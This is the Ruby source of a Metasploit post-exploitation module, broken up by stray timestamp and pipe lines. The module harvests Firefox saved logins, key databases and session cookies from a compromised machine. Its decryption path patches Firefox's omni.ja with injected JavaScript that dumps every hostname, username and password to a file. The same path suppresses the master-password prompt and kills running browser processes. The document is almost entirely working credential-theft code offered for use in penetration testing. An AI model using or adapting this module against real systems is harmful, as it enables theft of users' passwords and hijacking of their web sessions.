2011-03-05 02:57:32 +00:00
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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2012-02-21 01:40:50 +00:00
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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2011-03-05 02:57:32 +00:00
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##
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require 'msf/core'
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require 'rex'
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2013-06-02 20:27:53 +00:00
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require 'zip/zip'
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require 'tmpdir'
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2011-03-05 02:57:32 +00:00
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require 'msf/core/post/file'
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2013-06-02 20:27:53 +00:00
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require 'msf/core/post/common'
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require 'msf/core/auxiliary/report'
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2011-08-20 05:13:17 +00:00
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require 'msf/core/post/windows/user_profiles'
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2011-03-05 02:57:32 +00:00
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class Metasploit3 < Msf::Post
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2013-08-30 21:28:54 +00:00
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include Msf::Post::File
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include Msf::Post::Common
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include Msf::Auxiliary::Report
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include Msf::Post::Windows::UserProfiles
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def initialize(info={})
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super( update_info(info,
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'Name' => 'Multi Gather Firefox Signon Credential Collection',
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'Description' => %q{
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This module will collect credentials from the Firefox web browser if it is
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installed on the targeted machine. Additionally, cookies are downloaded. Which
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could potentially yield valid web sessions.
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Firefox stores passwords within the signons.sqlite database file. There is also a
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keys3.db file which contains the key for decrypting these passwords. In cases where
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a Master Password has not been set, the passwords can easily be decrypted using
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third party tools or by setting the DECRYPT option to true. Using the latter often
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needs root privileges. If a Master Password was used the only option would be
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to bruteforce.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'bannedit',
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'xard4s' # added decryption support
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],
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'Platform' => ['win', 'linux', 'bsd', 'unix', 'osx'],
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'SessionTypes' => ['meterpreter', 'shell' ]
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))
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register_options(
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[
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OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])
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]
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)
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#TODO
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# - Collect cookies.
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end
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def run
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print_status("Determining session platform and type...")
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case session.platform
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when /unix|linux|bsd/
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@platform = :unix
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when /osx/
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@platform = :osx
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when /win/
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if session.type != "meterpreter"
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print_error "Only meterpreter sessions are supported on windows hosts"
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return
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end
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@platform = :windows
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else
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print_error("Unsupported platform #{session.platform}")
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return
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end
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if datastore['DECRYPT']
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omnija = nil
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org_file = 'omni.ja'
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new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"
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# sets @paths
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return unless get_ff_and_loot_path
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print_status("Downloading #{org_file} from #{@paths['ff']}")
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omnija = read_file(@paths['ff']+org_file)
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if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
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print_error("Could not download #{org_file}, archive may not exist")
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return
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end
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# cross platform local tempdir, "/" should work on windows too
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tmp = Dir::tmpdir + "/" + new_file
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print_status("Writing #{org_file} to local file: #{tmp}")
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file_local_write(tmp, omnija)
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res = nil
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print_status("Extracting and modifying #{new_file}...")
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begin
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# automatically commits the changes made to the zip archive when
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# the block terminates
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Zip::ZipFile.open(tmp) do |zip_file|
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res = modify_omnija(zip_file)
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end
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rescue Zip::ZipError => e
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print_error("Error modifying #{new_file}")
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return
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end
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if res
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print_status("Successfully modified #{new_file}")
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else
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print_error("Failed to patch method")
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return
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end
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print_status("Uploading #{new_file} to #{@paths['ff']}")
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if not upload_file(@paths['ff']+new_file, tmp)
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print_error("Could not upload #{new_file}")
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return
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end
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return if not trigger_decrypt(org_file, new_file)
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download_creds
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else
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paths = []
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if @platform =~ /unix|osx/
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paths = enum_users_unix
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else # windows
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grab_user_profiles().each do |user|
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next if user['AppData'] == nil
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dir = check_firefox(user['AppData'])
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if dir
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paths << dir
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end
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end
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end
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if paths.nil?
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print_error("No users found with a Firefox directory")
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return
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end
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download_loot(paths.flatten)
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end
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end
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def enum_users_unix
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id = whoami
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if id.nil? or id.empty?
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print_error("This session is not responding, perhaps the session is dead")
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end
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if @platform == :osx
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home = "/Users/"
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else
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home = "/home/"
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end
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if got_root?
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userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
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userdirs << "/root\n"
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else
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print_status("We do not have root privileges")
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print_status("Checking #{id} account for Firefox")
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if @platform == :osx
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firefox = session.shell_command("ls #{home}#{id}/Library/Application\\ Support/Firefox/Profiles/").gsub(/\s/, "\n")
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else
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firefox = session.shell_command("ls #{home}#{id}/.mozilla/firefox/").gsub(/\s/, "\n")
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end
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firefox.each_line do |profile|
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profile.chomp!
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next if profile =~ /No such file/i
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if profile =~ /\.default/
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print_status("Found Firefox Profile for: #{id}")
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if @platform == :osx
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return [home + id + "/Library/Application\\ Support/Firefox/Profiles/" + profile + "/"]
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else
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return [home + id + "/.mozilla/" + "firefox/" + profile + "/"]
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end
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end
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end
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return
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end
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# we got root check all user dirs
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paths = []
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userdirs.each_line do |dir|
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dir.chomp!
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next if dir == "." || dir == ".."
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dir = home + dir + "/.mozilla/firefox/" if dir !~ /root/
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if dir =~ /root/
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dir += "/.mozilla/firefox/"
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end
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print_status("Checking for Firefox Profile in: #{dir}")
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stat = session.shell_command("ls #{dir}")
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if stat =~ /No such file/i
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print_error("Mozilla not found in #{dir}")
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next
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end
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stat.gsub!(/\s/, "\n")
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stat.each_line do |profile|
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profile.chomp!
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if profile =~ /\.default/
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print_status("Found Firefox Profile in: #{dir+profile}")
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paths << "#{dir+profile}"
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end
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end
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end
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return paths
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end
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def check_firefox(path)
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paths = []
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path = path + "\\Mozilla\\"
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print_status("Checking for Firefox directory in: #{path}")
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stat = session.fs.file.stat(path + "Firefox\\profiles.ini") rescue nil
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if !stat
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print_error("Firefox not found")
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return
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end
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session.fs.dir.foreach(path) do |fdir|
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if fdir =~ /Firefox/i and @platform == :windows
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paths << path + fdir + "Profiles\\"
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print_good("Found Firefox installed")
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break
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else
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paths << path + fdir
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print_status("Found Firefox installed")
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break
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end
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end
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if paths.empty?
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print_error("Firefox not found")
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return
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end
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print_status("Locating Firefox Profiles...")
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print_line("")
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path += "Firefox\\Profiles\\"
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# we should only have profiles in the Profiles directory store them all
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begin
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session.fs.dir.foreach(path) do |pdirs|
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next if pdirs == "." or pdirs == ".."
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print_good("Found Profile #{pdirs}")
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paths << path + pdirs
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end
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rescue
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print_error("Profiles directory missing")
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return
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end
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if paths.empty?
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return nil
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else
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return paths
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end
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end
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# checks for needed privileges and wheter Firefox is installed
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def get_ff_and_loot_path
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@paths = {}
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check_paths = []
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drive = expand_path("%SystemDrive%")
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loot_file = Rex::Text::rand_text_alpha(6) + ".txt"
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case @platform
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when /win/
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if !got_root? and session.sys.config.sysinfo['OS'] !~ /xp/i
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print_error("You need root privileges on this platform for DECRYPT option")
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return false
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end
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tmpdir = expand_path("%TEMP%") + "\\"
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# this way allows for more independent use of meterpreter
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# payload (32 and 64 bit) and cleaner code
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check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
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check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
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when /unix/
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tmpdir = '/tmp/'
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if cmd_exec("whoami").chomp !~ /root/
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print_error("You need root privileges on this platform for DECRYPT option")
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return false
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end
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# unix matches linux|unix|bsd but bsd is not supported
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if session.platform =~ /bsd/
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print_error("Sorry, bsd is not supported by the DECRYPT option")
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return false
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end
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check_paths << '/usr/lib/firefox/'
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check_paths << '/usr/lib64/firefox/'
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when /osx/
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tmpdir = '/tmp/'
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check_paths << '/applications/firefox.app/contents/macos/'
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end
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@paths['ff'] = check_paths.find do |p|
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check = p.sub(/(\\|\/)(mozilla\s)?firefox.*/i, '')
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print_status("Checking for Firefox directory in: #{check}")
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if directory?(p.sub(/(\\|\/)$/, ''))
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print_good("Found Firefox directory")
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true
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else
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print_error("No Firefox directory found")
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false
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end
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end
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return false if @paths['ff'].nil?
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@paths['loot'] = tmpdir + loot_file
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return true
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end
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def modify_omnija(zip)
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files = [
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'components/storage-mozStorage.js',
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'chrome/toolkit/content/passwordmgr/passwordManager.xul',
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'chrome/toolkit/content/global/commonDialog.xul',
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'jsloader/resource/gre/components/storage-mozStorage.js'
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]
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arya = files.map do |file|
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fdata = {}
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fdata['content'] = zip.read(file) unless file =~ /jsloader/
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fdata['outs'] = zip.get_output_stream(file)
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fdata
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end
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stor_js, pwd_xul, dlog_xul, res_js = arya
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stor_js['outs_res'] = res_js['outs']
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wnd_close = "window.close();"
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onload = "Startup(); SignonsStartup(); #{wnd_close}"
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# get rid of (possible) master password prompt and close pwd
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# manager immediately
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dlog_xul['content'].sub!(/commonDialogOnLoad\(\)/, wnd_close)
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dlog_xul['outs'].write(dlog_xul['content'])
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dlog_xul['outs'].close
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pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload)
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pwd_xul['outs'].write(pwd_xul['content'])
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pwd_xul['outs'].close
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# returns true or false
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return patch_method(stor_js)
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end
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# Patches getAllLogins() method from storage-mozStorage.js
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def patch_method(stor_js)
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data = ""
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# imports needed for IO
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imports = %Q|
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Components.utils.import("resource://gre/modules/NetUtil.jsm");
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Components.utils.import("resource://gre/modules/FileUtils.jsm");
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Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
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# Javascript code to intercept the logins array and write the
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# credentials to a file
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method_epilog = %Q|
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var data = "";
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var path = "#{@paths['loot'].inspect.gsub(/"/, '')}";
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var file = new FileUtils.File(path);
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var outstream = FileUtils.openSafeFileOutputStream(file);
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var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].
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createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
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converter.charset = "UTF-8";
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|
if (logins.length != 0) {
|
|
|
|
for (var i = 0; i < logins.length; i++) {
|
|
|
|
|
|
|
|
data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^";
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
} else {
|
|
|
|
data = "no creds";
|
|
|
|
}
|
|
|
|
|
|
|
|
var istream = converter.convertToInputStream(data);
|
|
|
|
NetUtil.asyncCopy(istream, outstream);
|
|
|
|
|
|
|
|
return logins;
|
|
|
|
|
|
|
|
|
|
|
|
|
regex = [
|
|
|
|
nil,
|
|
|
|
[/return\slogins;/, method_epilog],
|
|
|
|
[/getAllLogins\s:\sfunction\s\(count\)\s{/, nil],
|
|
|
|
[/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports]
|
|
|
|
]
|
|
|
|
|
|
|
|
# match three regular expressions
|
|
|
|
i = 3
|
|
|
|
stor_js['content'].each_line do |line|
|
|
|
|
# there is no real substitution if the matching regex
|
|
|
|
# has no corresponding patch code
|
|
|
|
if i != 0 and line.sub!(regex[i][0]) do |match|
|
|
|
|
if not regex[i][1].nil?
|
|
|
|
regex[i][1]
|
|
|
|
else
|
|
|
|
line
|
|
|
|
end
|
|
|
|
end
|
|
|
|
i -= 1
|
|
|
|
end
|
|
|
|
|
|
|
|
data << line
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
# write the same data to both output streams
|
|
|
|
stor_js['outs'].write(data)
|
|
|
|
stor_js['outs_res'].write(data)
|
|
|
|
stor_js['outs'].close
|
|
|
|
stor_js['outs_res'].close
|
|
|
|
|
|
|
|
i == 0 ? 'return true' : 'return false'
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
# Starts a new firefox process and triggers decryption
|
|
|
|
def trigger_decrypt(org_file, new_file)
|
|
|
|
temp_file = "orgomni.ja"
|
|
|
|
[org_file, new_file, temp_file].each do |f|
|
|
|
|
f.insert(0, @paths['ff'])
|
|
|
|
end
|
|
|
|
# firefox command line arguments
|
|
|
|
args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul'
|
|
|
|
|
|
|
|
# In case of unix-like platform Firefox needs to start under user
|
|
|
|
# context
|
|
|
|
if @platform =~ /unix/
|
|
|
|
|
|
|
|
# assuming userdir /home/(x) = user
|
|
|
|
print_status("Enumerating users...")
|
|
|
|
users = cmd_exec("ls /home")
|
|
|
|
if users.nil? or users.empty?
|
|
|
|
print_error("No normal user found")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
user = users.split()[0]
|
|
|
|
# Since we can't access the display environment variable
|
|
|
|
# we have to assume the default value
|
|
|
|
args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")
|
|
|
|
args << "\""
|
|
|
|
cmd = "su #{user} -c"
|
|
|
|
|
|
|
|
elsif @platform =~ /win|osx/
|
|
|
|
|
|
|
|
cmd = @paths['ff'] + "firefox"
|
|
|
|
# on osx, run in background
|
|
|
|
args << "& sleep 5 && killall firefox" if @platform =~ /osx/
|
|
|
|
end
|
|
|
|
|
|
|
|
# check if firefox is running and kill it
|
|
|
|
if session.type == "meterpreter"
|
|
|
|
session.sys.process.each_process do |p|
|
|
|
|
if p['name'] =~ /firefox\.exe/
|
|
|
|
print_status("Found running Firefox process, attempting to kill.")
|
|
|
|
if not session.sys.process.kill(p['pid'])
|
|
|
|
print_error("Could not kill Firefox process")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
elsif session.type != "meterpreter"
|
|
|
|
p = cmd_exec("ps", "cax | grep firefox")
|
|
|
|
if p =~ /firefox/
|
|
|
|
print_status("Found running Firefox process, attempting to kill.")
|
|
|
|
term = cmd_exec("killall", "firefox && echo true")
|
|
|
|
if not term =~ /true/
|
|
|
|
print_error("Could not kill Firefox process")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
#
|
|
|
|
# rename-fu
|
|
|
|
# omni.ja -> orgomni.ja
|
|
|
|
# *random*.ja -> omni.ja
|
|
|
|
# omni.ja -> *random*.ja
|
|
|
|
# orgomni.ja -> omni.ja
|
|
|
|
#
|
|
|
|
rename_file(org_file, temp_file)
|
|
|
|
rename_file(new_file, org_file)
|
|
|
|
|
|
|
|
# automatic termination ( window.close() or arguments)
|
|
|
|
print_status("Starting Firefox process")
|
|
|
|
cmd_exec(cmd,args)
|
|
|
|
|
|
|
|
rename_file(org_file, new_file)
|
|
|
|
rename_file(temp_file, org_file)
|
|
|
|
|
|
|
|
# clean up
|
|
|
|
file_rm(new_file)
|
|
|
|
|
|
|
|
# at this time it should have a loot file
|
|
|
|
if !file?(@paths['loot'])
|
|
|
|
print_error("Decryption failed, there's probably a master password in use")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
return true
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def download_loot(paths)
|
|
|
|
loot = ""
|
|
|
|
paths.each do |path|
|
|
|
|
print_status(path)
|
|
|
|
profile = path.scan(/Profiles[\\|\/](.+)$/).flatten[0].to_s
|
|
|
|
if session.type == "meterpreter"
|
|
|
|
session.fs.dir.foreach(path) do |file|
|
|
|
|
if file =~ /key\d\.db/ or file =~ /signons/i or file =~ /cookies\.sqlite/
|
|
|
|
print_good("Downloading #{file} file from: #{path}")
|
|
|
|
file = path + "\\" + file
|
|
|
|
fd = session.fs.file.new(file)
|
|
|
|
begin
|
|
|
|
until fd.eof?
|
|
|
|
data = fd.read
|
|
|
|
loot << data if not data.nil?
|
|
|
|
end
|
|
|
|
rescue EOFError
|
|
|
|
ensure
|
|
|
|
fd.close
|
|
|
|
end
|
|
|
|
|
|
|
|
ext = file.split('.')[2]
|
|
|
|
if ext == "txt"
|
|
|
|
mime = "plain"
|
|
|
|
else
|
|
|
|
mime = "binary"
|
|
|
|
end
|
|
|
|
file = file.split('\\').last
|
|
|
|
store_loot("ff.profile.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
if session.type != "meterpreter"
|
|
|
|
files = session.shell_command("ls #{path}").gsub(/\s/, "\n")
|
|
|
|
files.each_line do |file|
|
|
|
|
file.chomp!
|
|
|
|
if file =~ /key\d\.db/ or file =~ /signons/i or file =~ /cookies\.sqlite/
|
|
|
|
print_good("Downloading #{file}\\")
|
|
|
|
data = session.shell_command("cat #{path}#{file}")
|
|
|
|
ext = file.split('.')[2]
|
|
|
|
if ext == "txt"
|
|
|
|
mime = "plain"
|
|
|
|
else
|
|
|
|
mime = "binary"
|
|
|
|
end
|
|
|
|
file = file.split('/').last
|
|
|
|
store_loot("ff.profile.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def download_creds
|
|
|
|
print_good("Downloading loot: #{@paths['loot']}")
|
|
|
|
loot = read_file(@paths['loot'])
|
|
|
|
|
|
|
|
if loot =~ /no creds/
|
|
|
|
print_status("No Firefox credentials where found")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
cred_table = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => 'Firefox credentials',
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns'=>
|
|
|
|
[
|
|
|
|
'Hostname',
|
|
|
|
'User',
|
|
|
|
'Password'
|
|
|
|
]
|
|
|
|
)
|
|
|
|
|
|
|
|
creds = loot.split("^")
|
|
|
|
creds.each do |cred|
|
|
|
|
hostname, user, pass = cred.rstrip.split(" :: ")
|
|
|
|
cred_table << [hostname, user, pass]
|
|
|
|
end
|
|
|
|
|
|
|
|
print_line("\n" + cred_table.to_s)
|
|
|
|
|
|
|
|
path = store_loot(
|
|
|
|
"firefox.creds",
|
|
|
|
"text/plain",
|
|
|
|
session,
|
|
|
|
cred_table.to_csv,
|
|
|
|
"firefox_credentials.txt",
|
|
|
|
"Firefox Credentials")
|
|
|
|
|
|
|
|
# better delete the remote creds file
|
|
|
|
file_rm(@paths['loot'])
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def got_root?
|
|
|
|
case @platform
|
|
|
|
when :windows
|
|
|
|
if session.sys.config.getuid =~ /SYSTEM/
|
|
|
|
return true
|
|
|
|
else
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
else # unix, bsd, linux, osx
|
|
|
|
ret = whoami
|
|
|
|
if ret =~ /root/
|
|
|
|
return true
|
|
|
|
else
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def whoami
|
|
|
|
if @platform == :windows
|
|
|
|
return session.fs.file.expand_path("%USERNAME%")
|
|
|
|
else
|
|
|
|
return session.shell_command("whoami").chomp
|
|
|
|
end
|
|
|
|
end
|
2011-03-05 20:21:12 +00:00
|
|
|
end
|